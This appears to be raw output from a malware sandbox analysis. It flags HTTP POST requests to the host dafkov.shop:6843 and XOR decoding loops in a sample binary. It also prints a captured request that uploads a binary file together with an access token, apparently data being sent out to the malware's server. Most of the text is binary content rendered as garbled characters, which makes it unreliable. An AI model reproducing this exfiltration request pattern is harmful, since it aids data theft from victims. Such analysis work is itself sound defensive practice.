HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=D6Fm9XeZaN69yHUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 1127Host: dafkov.shop:6843" Contains base64 string in header "like" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=D6Fm9XeZaN69yHUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 1127Host: dafkov.shop:6843" Contains base64 string in header "1127Host" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=D6Fm9XeZaN69yHUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 1127Host: dafkov.shop:6843" Contains base64 string in header "shop" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=D6Fm9XeZaN69yHUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 1127Host: dafkov.shop:6843" Contains base64 string in header "6843" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=D6Fm9XeZaN69yHUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 1127Host: dafkov.shop:6843" Contains base64 string in header "POST" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 86Host: dafkov.shop:6843" Contains base64 string in header "Keep" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 86Host: dafkov.shop:6843" Contains base64 string in header "cacheContent" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 86Host: dafkov.shop:6843" Contains base64 string in header "Type" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 86Host: dafkov.shop:6843" Contains base64 string in header "form" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 86Host: dafkov.shop:6843" Contains base64 string in header "like" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 86Host: dafkov.shop:6843" Contains base64 string in header "shop" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 86Host: dafkov.shop:6843" Contains base64 string in header "6843" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 86Host: dafkov.shop:6843" Contains base64 string in header "POST" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=qaXB730ND83o7qeJqRUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 791463Host: dafkov.shop:6843" Contains base64 string in header "Keep" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=qaXB730ND83o7qeJqRUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 791463Host: dafkov.shop:6843" Contains base64 string in header "cacheContent" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=qaXB730ND83o7qeJqRUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 791463Host: dafkov.shop:6843" Contains base64 string in header "Type" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=qaXB730ND83o7qeJqRUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 791463Host: dafkov.shop:6843" Contains base64 string in header "data" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=qaXB730ND83o7qeJqRUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 791463Host: dafkov.shop:6843" Contains base64 string in header "like" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=qaXB730ND83o7qeJqRUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 791463Host: dafkov.shop:6843" Contains base64 string in header "shop" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=qaXB730ND83o7qeJqRUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 791463Host: dafkov.shop:6843" Contains base64 string in header "6843" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=qaXB730ND83o7qeJqRUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 791463Host: dafkov.shop:6843"28:T4d7,Found XOR loop in file "sample.bin" at offset 261907; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 277116; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 338993; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 339345; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 372786; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 187962; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 188250; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 250099; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 257757; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 263093; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 417662; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 250940; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 252170; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 272582; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 390051; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 427035; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 699564; code bytes = 803029:T9f2,"47ÒzÄà³Ñp¤-øê3¨ÂoêS>ç.Á,w2ÚÅ¶Þ+©ìÑdb?ãÆpzW±G'ÿâ¯ÿÓnädw:"|@§CHUXp+©ÂðçÃ$0V¡¢ÏÚ¡éÅ%¢*jêvÀIpx2k7¹>ÀX§ù;®Ê¾öi[ÎQ«%ÊºËWPàÙR©Ôçü¶àý!Á¡PsëGOLH º@ T¦ñc¸UR_7mGWãÎíGHäÙé vþý)ùdPz«À>ã>áÈXcqÃl¹?ÀÜ.`£ÌYJPA'a°²ÍÃ©Ì¡w0$T¨¿vá¿*Û¥T»`Ü0K%Q+«/Høg¿ib7e0îá.Q ÙçßS.4áÊÓ0»ñ(d &Äj»ðõkj/ÀI©ÔNINýñäå~>:/ Å<Ù'}À/GÙTjCèV'Ú¡¥%Ð:lµçôè·:ÀÄRãlçe("'1lÜkåónvyÀ7±úçÃ³{"f`´°&ÊWý¨Z:=Ý0ÚúW½wèiÂ*ê]ì¥¥HÃëÅTi^Ëë> ü:GÉ±ÅLwDq½)Íªv]ÕàA`ëIJ+?ÞÏqÔþßÆf×*Ô9B1fiým"uFqÍÎÿ¦P^÷¦õ®Û÷\¿¼ãb RGî¬³æ5Ýb¯½â^qµ --D6Fm9XeZaN69yH--"; File: "PCAP"), Found string "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=qaXB730ND83o7qeJqRUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 791463Host: dafkov.shop:6843--qaXB730ND83o7qeJqRContent-Disposition: form-data; name="access_token"311657b6-44a5-4e84-bbe8-3111804e8f9f--qaXB730ND83o7qeJqRContent-Disposition: form-data; name="type"0--qaXB730ND83o7qeJqRContent-Disposition: form-data; name="file"; filename="data"Content-Type: application/octet-streamZÉëÖ´%]ÙqÛKWaîQa )tjÝ9+6@vGª¥÷tÜÔ¢X:~ûQPðïøF>r¥Ä"æ¬&Î³eeèJØ£å©èY! ÑÊ&7ÆLÅuøü]¸%Ò¡ÔF@!&[Ød/tà'Ó|¶¼×óiÆpÄâæ3°l+¹OÌ÷&+»G ÑukcýC`W<Ð3Â(VÆ#Oe÷qÕåy´¼?¦üÞ&üx¡G¦A¸Ðe«Ò}éÑslY°\`{sN¾K»X÷5kõ´VôÒu>¢ré$%@~>¶åÈzBzeÁ!æWÝ{ÔcT7£M-P´a¹8vã{Sÿ`£Ó©)£kvIµúB#Û_FöÉQ`Öÿß-T{(ùc=3WÅÊq·bÓSÅûP|bx¢%FÝw5äÎ×u×¦Þ,ßíÈªíDY°Hx³µA:ý5fNaÝÓyí²W¨:B æN;D¡Z 4xAß¾»yjÄ&iJjÀàSJ¥ú¯4*¬Ü¥íEã)CúðÎðeZwÚÁ¹crXbm©SDðÅCt&=Ê7&ÛG1W$z¦¶Ë^~LÂaVþKàñçø÷ò÷À£m¯OlxïNRãMc¢ãs89ÑæÞRß¾½¸%D)§KáuNÒ!r¡°&$3EB®î¿çðÆÇå¢ÚèàÍ30Ãdþè\Z= j[)äeÝx¬rUg§]¨ØSD¨?jÅÿñã"{ã¥ïñ*þ>h½µ"¿ZIÆM¹Ï$º0v:eÚGûßë«mÎç§F¸PÌ÷äÃÚ¿>0fy<_gºu=A'""òÁ:µ&KQp 9Â¢ÉÆUúGf$ÏtªÞ½Ü¾àù¹'Ùdûþ>þôEåõóµ:RÿlDgÖ>ºþWÙö~@y;þ_uê.%yS|®4dUÑ=6âkÕýÍc1ÈÏÛÆõQ=~kéþfé©áFn{kjß;:¼6±îÚ»æzx¢âÛuú5QmÍ¢ä(è÷Õÿ=Kã¸ªé6¢x<ÏEÒNvÔ¥±WZ®¢½ÃÙÏÂNÊÅdÖV´¶»iGþéª®\Fýñ}@ÝAV`yæ¾Ùùß}ºbØÅhñ«BdÄx_zxû"Õ $Ï{Ð±Õ-¡èP@/L@àv+0øÐI9ïStPhçúº¸óa(4¬\=È¸HsAÍdG¿OÖ|¼<^,JN÷ÛWZådÃ+(_pïA²Í·Pë0(vBÓ}Hp~.Íõí(k_;©U.Á3]\äÝ)Iª¼t[uWÈËøvúáÜU°9b×^²Ax§;×lÈOøò^øvòkioèÃ*¾)ÒIDºä®lî6e(è©ÿ3q)ÑùTÀ8®Ü%¿«ÒÉ_0p)Ô8 ¹=£Ù¿¦B1²ÍÑPÄéÓøºÖî°O=òt×5ôQj}Îå!N²º÷sÛ7(þ@ìDìê^7Øæ¾|õð]ûº0ko2Io5ªÆÑÛ×¿N°ìmñj?®¬2ìcº©JÏôætüwüU#c&ÿÝMÜmâr5çÙ#ç®¬È96åÏ}ýÉÝü*øï$¹)%eÅq][éG«zÙÉ3¦ïýñ¯uÕ±väz»js¨¿®n>d«+aÎâ§ye³Fª|Wùõ»=öwoÆ,á¥ü"A3å±üH¼GºB¦µ'~a~á«:®½³`åj[ËðîùIÙuÁJ¾/\æÌ%oÕÞ²¯ysbÍ±>ïhÈzñ>ï£(aç×á©cfÎ!¦ñcÊé§¶nXäcà{lK(-³(0ìPxÐBx9ò'i(3!º=å¸©¿¢Ös&(ØÔß!òÃàÄf~L°y%Áä £&3eRqÐ|Pßø*PÜ/8Í0û2L@æ¨!`,4ñ÷XÝ ¶3BW+Ö\¹Ý=û8Å>«¯ÝîÌÈjÄ£üìE`-IJÿF"ÑÉe%ãÆ%÷§þ¶;$J0Dß*¨M¸}Ï¬s]@)ÜÂ\gémÊ1A&n<ÅÑ²ë¥yz%¥ä!1B:ë[ÅýzúöE^´¿í°¾h¨TÃÔ»å?îí :¹Æ×l´þæÐ+F®àtïìêp£ÎPpêS'ºÈ§´äQ%Â^RÆR»#úE«cßr¢i@C`r'péºaûÂ_²u._î©BõaøÍ¿@ÔOO³ÑS5=îeÆHzøÜ¶h¸TwüU"Ê¾ô`rÈ(yr%Rµù$Ù:åNñIêÖÔöNÙøûG Ââãj¢$wKkÖÕdãGzê9Úèï\¡yÏªUIÆ[9ÉZvß[Í[è$T9ÙgXÌ«]:U±j£´và{ZM¸ß¼¸ÃÜ²þ³ßwÉ)ëÄVóÓ§A°î'·Ô Äð/ø?xb+X¬ÔñLÐnûâ2ÙSî×ø0à«WWQKº3;P9e}ü´`lÍ&MÞVªgV(ÞZùh £Ê·<»ñq÷¤TC¦óëúÔe`Gâk2õ tzó0:5ínýÐýÞàv.Wnõ©î½%}õTùÃÊÇÔ¢ôº¡ð$ª<1®C¸SwzÒütÒ³wixû»úhâ/kîýôhÂ@`{ÞZ#[RWË¤ ésÍ«quæI^DMÃÍàÙüCçEúlêaM¾Ý/¸}s¬z,B6é-à$¾¾þý6,{ÎáîÁyJþÊH®FD#ÕMüÕG³ÙPú®§3H££Ahúá»$:8i(#¾N<ÎPqÁ²,ÅôØ0V#±/ª,ø6<ÝS&»¥H^jtnè¦h6éÌÎßQå êìX¬nl)|ÐÀÆúSÓ©\Ýf¶ÇæicøNµ¯Ï/"¸hû7ÌEQôí2¹o%¤¾ÌáNì0q>VwgNû"ADw2¨´q-CFYÔL5<¸Ôòõãuúç##F9ÆöÖÏVoÎâÁ#ý>|D·qÙ¼-¼ÑÉÌa¦FL®òmµÊ¸ÓtäÎæðTYÎíP9¦«9]^LÊöâBæDH¡gãÕ^¾!AGù=¸~µ¶ðÿ^,9X³Ö=BpÉüGâÖcú¢c,#Ì¬ïÔB´OàIwÏ#|ôùç.qNµº]ãH5ÎÚ§V (}½÷¡ÐÌÓÿ~ä¡×+Ö$'¾EÊÆ´çÁøüh¡2îé(ÓÎÎ6³(¹»CW;èy'(vÿ®d(Âú0Î«a~Úx;¦Q¾òæH¡ÜãûÉ)5mvbï[B¿[pbªKë#ðNhì)3aÇq»½åI]ê¸ ÃúÒÍ:7ªÚO,ÊFúCÜ¬²Veo±Þ\r 5dúÌls']Ù] ~²àZè(Fm^ã »Ñáõb`è:èFÜjæx¸ýúj]äÂ={³¾@g¦»Ï@øQÑ'YúWêæÅáS³©×¿ÕÏ!ÕñV¡ßFª=c¡ÜÏòA¸|5À-vY ú»*ÈjÏ`¡óº©<"**îÛª²Ïø<_a6?>©l^p49P÷ÏîÈ'xßªÁ)íI¿¿PÓsDS~1Çeh4)¦56¨<¶Ùx»MÜ`h-øß2UoplÌ¬"¤ôu$=(Ñ^[#`®`µñ¶uq3Û4¼!â>DHõó^«yÝëU¶ª@mÎh:°ód²î¹xÈ(\W;~Ü|n_íØÎé@*qÚíRÇï.+åæfûNò'qÎÖÕÅxð8èzo¤e?ÃU²5î¦2º¹%£èï²ðùÔP7!:Z +Åd%¡#g&Öoìº¹cÃ×qï»¥áü.cÊÒÿZ¹Kû¦u7(5çyeéÏ½¤cxèËËb¾6váI@i~GÅVÜaiÚÏè\äxùûÓàæ`G}túÊâÙGO&ì)Àc-Ð o0îÞÈ¿´±¬xX gN¤é "iª/Ê:BtÖæ^ã JòCEÆÙµ¦ÿ:/Èn*'z½ßÁ¾ÎâìÐUÝ*Üðs»á~b»ú>08ÆfHÇvS*?oÐwÏí1 ;$tìZÓÊ-§ùXÍÃØTÚ¯áë§ÜÔ5d+÷Æt(C,6¥7QüF·Dd>HÒ£¬Ë\Û%5!Ã×{RKAJ/Ä°ºËÎ}'[pMÓÑ³Ýd¤Ãú^±ò'ØCô©;ú¥NÂ¾T®¥§ýéÅÖb`ÐñÂß¿×ÿ@ û©¯IIgÞ´ÿDcA±ÖáêO³%ßãÐºàk²¿$RqÁåK÷ß¤Ñæ@2¹*¯î´7öÓzþÐ¾=ÚÔ%§:ª»x¡OèPÁxP#®T³©Üv+!-¾|hN¬\§ñv¸ÞÔªhùÑ;nÊ¢Qôí÷j{èªÌô¦ÄÃØpøÈ[xä¥¸${¹T p Ô¼òE¼~e0Æ·Ñ¾9PË~ì+Õü+U£qwfgcI¡C¿xºÖF½Ð'sw3¦|ÎËö´Ð'ØñBÒOîN°k}ø/»Xk-HÖÁp![¤s×òáû4e:íAWH¡D¶üORÛÂ@ÝÅRÑÌõëL¦;þÆõ\9«¿³Ñ¹ÄÙ)h¢©ÃÖîà·9i|a|ëpPLøZÁr,ST É:IJÀ^:UèÔäQNË1w®iÞ%NÕ&Ö][«ëS÷s`9Y¯Øï¶ãnµkiÃE5ÞÂþ½Ú= u7À Z.¸96ûEúNTªD+Ób|¥ôíw¼AQö¾¶B%ùg¬Ý^ãç{òJ¾$9þöÌ¡ù_m5Fy¹ìËJìð°C7Ê;îBåµµ*TyÌbÇEfh«B7ßÝné½ú6ÈúÔI®©nßÌ«ÊaP<æGþòTÓ³O±²ü¼þFH?ýÝ<äÛw(kåÔøwÍ9i^1ý«q¼cÕû/:êÐÆÓ4ÆeUVÿà©ª Þµ Cø=òóèZm>³w²/¸·5¿£Lò2T¶þîâ&}°èï¹rëSäÙU¹T§ÏÚàÕ}AîQÙ$|PõÛ4õôU3}ía6ÊüûJëSýu[O_¶jp;à¸äáW|Ñâ(Ü¼y>½cî©x¯Á´Z±s§õî:Ïýõ6«~ï`ÕÎJzk)ÓYî%y· !mÀTíÑ¤6_·»§»«®õ ½ëb¥ê1Þµ_¤L#«\Ù¿È»4ÜçëcméW$$5®¸@WT%[ïUÙ;c<¦¦ä®Ïy¦+F,¡´ÜØp<÷E5ÍÒöÁäÎ÷ÊN;*èe*eoÖôf¤\Ñ~õÊ?'D<Ê¥;2§ØÐ³'ØWÐQ5âjOwÓÍAii"u»ó&dÞwëx:Egðdá±20âÊá:Æj:íMVë?tk2F¤¥Û´#²P°·3¥jþÁÛ)µV_&¯°ëÂÁ¦>0 óøBG =Û[ÙïÍÛ0ª"åGÜÝáSfUqäÌÚÖ[Ú«_*5Ý;îlàEaÆqYê{=6E| Þt,¼¤i3_GÙc\S¼ÀþÚåÖ½Tø¥yQda"æ½N8é$É9h°ûú&s;ë$Àä0ú:a¤fNÅ@£ë5»#É½´<Íàßë16µÖ±(iDÌ-²c'\¦PrÅC³ómôóGÊíóKOi±iÚº×èÑ0PîÉO ï@DÍA%å[`¢×õÞTü`¬|ý:Ú~°ãEsð³W¢¾µÑ/](e®{'-hß±=_Ë0b8_qÔ³\1º®ÔqñmRÑ0í¨ãC×ã¬¼*³×C»í"óÅê°çf0ÊGcD4ì<%±ÍíáüW,ÕÑ§P¦{æê:¹@Ù! Kb½Wy¦ð¸z&Ãò*4fQmTñAî÷Ia|@=,6ÅûÓ¸Igþ_ 9t^D¶m¸ìÔ `-z¢þÝ/ÍY95îCÕ\¯*mP×8ý0ð7Çtµ¨"ùìíåÞÀ9ûÊTÓk«þqK;GWå¡ÿs=(N{V¬ÂN:Ñ4Á¨>\ð@÷½î.¨Òh&ÃÄR*I§1ÊÈ%~Ûl¹±¡K;Û5Rr¸ù!g%á"É=¢ÏÔÿ ÃÝþÉfÿ¨U!.ÖºuüãRÒíØwµÏyúµ»mr SOµ,§.ì»±)W¢"mÔØÊG¸ÿ±_®LÁéøFeòe¿]µÖô¦ñD_l¹2`Ëg~,;Lò8¤PàAÁîí+#_âÁõd7¤'_õ«³w/5¼å»õ'Î¤çò_N´Hþ6TÚgöÃÔù2ÁàÐi.fm&ÊPÂ\Á¿å3ðsDÍêV6³^öNb¬Hòy´É;þiogíÕÜ?ÿoÁÅß0F'Ñ?<¼yKõéÃÃ">¦¶kòïÉ¬ôzÜú1ZºÔ³ê+«báKi}j&G»:>¼¿J.ÿl]¢¤d`_ê+ôE%Pãi~8ì<ªÅÇG T]Å³æFàÁñt³Ìgµ5Âÿ4××(zyBnzÁ¬ØhñF%ºâ³0®ö=~´ëùÖ¸ØãèXè±¹ña*¾ègk8.|©!cÀeà_£YY&2]Ói¥/U_LK¸*áºd¦*e£:¢=~$Dà¼ØÌ`ÂnÇ}¿óß´GÝ°mÝ'¡/±|Ø!$Þ}:2DÙOð%WÃSÒVz¹6xó~ ò¤BÂf-yä¯E7#é¶@þþwÿb/q£mæêìó8|CÅ>»&T-õ/Ð8»úÀzÏj?¶´ÇlNtVã¡g{D¯Ifíî¿ÌÂR¸}E`úråËyÂj<Á×¼Ò?jûÆö8p ÅÕççÞ¦)ñqÞðº_c"céø,ZpôUjå>k$ðEóÚ´\UdWöÂêóEé91óîhÁB*Í4>9¢§VWGÚg*èÃ¢²°UÃåW:;TÒ¨Ã3,éýhÕ.®c\niè`Jð)´=ÕçÔ©½G®±bÐçåzäÁÄþ((·|jtõeefªÅÙòChß¦aè£ÞGÖËÆì Ûä;¾Ê ¬¸]sÓ'±<§}U1;'#ââ(s^Qa>ãà¢;¹c'SDÉFÖyÈ&@`iþ³óº»ÓÞ b%¡îñb&èãðG$Uà$B=*^zÐQP>m.NØûpá#ØÐãÿÉåQ(^æ~¨ºØÙ¤ÿÏnXÔçUu/Æ_â8C.Ð;}N;_¼ Ð³:3Lî(ë¥ªIq¥³Ñø²t½aÛÓD+¼ÊL÷"ëùIìÂNvÛ÷U#çýM[zÀñgÑQñ:!©$ÙÃ`KGI&¢¨iý^·}¯2ÕIY|NãY¨( èH1sO/G~Ï¬ø§÷Ò]ÊoS§c&è`ñD3Ë|aá%ðìvù?Ôªüá:cuc4w$]K©ÇHÕ'¡VÞt£çsó(îOöäÛÚ¼ÌkèSS6[®*.ó,§*À.d½dzåÒ*»Ý)£°:LÍåSÇ4ÿÿfnì%$·á»¿yrlN³»%o×v\4]^rèP¯¾)M¡N¬ ÿ>Q!Ój&Èå]jïÀÓ/îÏ5 QN»%}ÁÖ7êþÚ¡VÝ+#½ÌÕê"Æg(ßÓ £ç¼3^9Úk@ã(#§à°·²ÅA¥·ÉRÇj2ð IÜíó´Wÿü`íz"á{ÑétOß¬1®íIôÉñúP_ý3æ³!)ÞíâË¸qO´<ÍBZù~Û¸ÂØ²ô»Öêd¹>fÈzú$J[ØE8@ûÖ©»ê¶Ë¸é»msÃ3mÅy¿8Îª@c¾¤mDd`²Ü¾ØûÁSåy]^ÂÐ,yÔßÒh»jmaqýmz¾3Ðß¦JUÓB,ÕÝ²}|¥ÇñEäfÿåº1q±Áä·Ê®áMâÏfÒÏÜ-eSszó²ÔÐå.ßY?}rßó?kµ§ü?ÇßËyß@¨)kV²>âK3[I9Á1¦á°ÖjaûÔY8-éÖgàb/VÙ+áMû2ÏÖã¸Ämwbu¼(¬4ÑÚÚ%KB^kv°^&åÈ·;¯'ÞæMA¸oå¸ ¼}u)~Uö¦#¸þ c8e!*[æ2ÞCÙï`Á6r¸Óf$ÅA# Þx:î·UÔ<%¥öÌ²ÛÞÍ5ÖU×àO¾ôWühÛalÂvn§ÚbGn®¨25%¥ÕÚôMûA°p[5+ÆïÞù Îé-¤ÿÚ\WdvqLÁ}|¬*8+ÃÄaÇã±^$mè°G}aÚÙäûðÓP_lLøD8iN²0xóot}-T|ð*hgåüLO"àK2Ç&+T½æª£H)\Æý|Þx;ú¿hvtþujHâr±^ezÜ|!.¡NçI34ÐÝsJB&Püèæ¨9O3)mÓªl£ê6S^ïheN@XÒä6=ÞÿWënåâp3þô#¼}ãþl3d%0]Qe!oÿ´klMYùGX½ÈUT¡QÞv¦Ó°X7Ö¯¥Ð©cp¤MUÀôºäÔÁÏ]ÊýËpg°©²s>e¾¡M+ísLyçØöÑÇ.c-à=s"çc*»8ÒG5ñoõÏW8ôBò½IÂv0\bS»±cËwÂqV¹`hFïvi.0º¤wÔ¿Z5%½~¢ýSPdGSDØ#ÉÅL¾9Ï&ÅÖ¶JêT¥Ô«þò`Üøâ`{#OÉ@QÅ7ka¦hR9Æ¯gõqàhAõ>KÙ¶Aå²F÷TýærÌ×ù²%9é :|K|yí?#Çºc¹¤¡_ 5ëÓd6½VýÍHî¹{fG#Þâ¼-höV»T *ó»mgW f/¦«U\'XP,k6¿j¥ï1ZSÉ>á%,AÀ4\k©ºK>÷`UO(ÿ%I{Cä¨\´!ªßÈï·/x<Ö¥ÿEÍÆÖñªÂÕ³B¥ yøÄìªnÛ2HYAdu DÉ2vÈ9#ígC¯)^{ËíÙáãxELZ!u#C5¿ã¥DpL.Ä1sçAP*ÕoÛ¢í¼[Äû©T÷/y«où%éíÌþûÓ¥à?M" (Þkd ñ·Æ?a~ÄÕcæi4Ls§Ek°Ø°ÉÒõi¸¥¿½/-kø2®yí%sQüInÿÚe'!qgFË¨ëJÃÝ]ÌÕLIg^&;¶}ZpÃW¿W0¿Ý@a²¼Vx*übAëóeZ^ÂÓ@Xc¤Zâg7ñïÚÝ½%ä.noL×ª$®ð .<ëUºzp'ð.kXvÏeÄÑ¶õ¯ðeÐ§ØÐÜpÙx)Ó]ÝúJ÷¥yÚ0b¡ÚØè8ôôP¢BBR÷EÆ&)GË¶CÀ©_³!_I:ì¯ÏAûq_{Kç¢TÓ^ép»]¨ÀCØùû¹ßL+/sï_ÈviÜI¹GÊzC¥+êGáW¬±áxF®7o¶#Á74îm¾:HETçÌ¢¿³^E8gUÐlKYÆeÃJ*'ãw?DÎ¶ÇrÀA·;ÛäÇ|)NÁzCÎhË°±òP0KDÇ½ÖøøO8z¬//Ï 2ëMZ\u&6bíDB£K®°qF0'}ãÚ¹Îæ?´õÈoù§W4'¦5VtÙúQ6@í!rv÷[`TØ_[{õ¸(áÞtÐ(tëræÌïµ÷À$óÃ{i¬1~è,Ú×âºýZSÑú|0ÎRøèÄvT<Ë´uAnâ¾ûHôH%ÕÅùÊG»=hÂqäTy@Õë£;>IÇÒo¤W÷(+LVM¬ô²gO)L«4Zü öN³ëp¼£B]Ûø*ñ-¢é¼z>T¤$&\~ð¬×à¨Þø)]Ç ]ªÍ¼`onÉh¿7+66MqÐÌA/ÙpPYØâlhþ¬ÿ0y! ¥Ï-xÖ|ssni_ó npý©«ÈÀ'zpÇ&c}H°ÞÕwuø¢itW|`{ýä3¿õì_Ýè7'é¿ì!üEÔN4¡ßzg«¿ùéeyÝÆû]Q~*GÀèv+al"ù¬/@TOÆqôóa-«gJú³üºGûç± (°UHa;k»W-x×}xãÓ¤ jÂÂ ÷Tr`M BWÂõG!W÷d ÀÂ=L§iê;Ï!-¹Iöu_$k¬÷_#÷u[U(@°ßÛbk#Û3È&»x4ÚÖß5ãjÑMíÕý[µ{ª°"4õ.§YýtQãd14±¨÷qöa¬üÉÉ¿W+0éÅõe$-+rúIxöoîÐªVó<®õËÜl6$½]"îÎYÀ]ª^{½l[Dz°¥±rXªñÞ%à(-sìÒWA^É_l<èðâ~PBxýÓvA¶gìì°d=(½&ËÃSÉäûëåCÙUH:íÜJíJR¶/sÂt&×Y¡H¹wÔ*BóVøîñQâq¢`4eÞ«\Å)Nxõê¢=´~&¤%ÇÆï]nI(¼ü&JHÚ¸tÕy[IâÆL3¿¨&ên¦34E¿G¼àÎ÷íOºÞï tÖ¦²\5i½¨-Åâ÷Áf·òîöÞE'~SaM~ 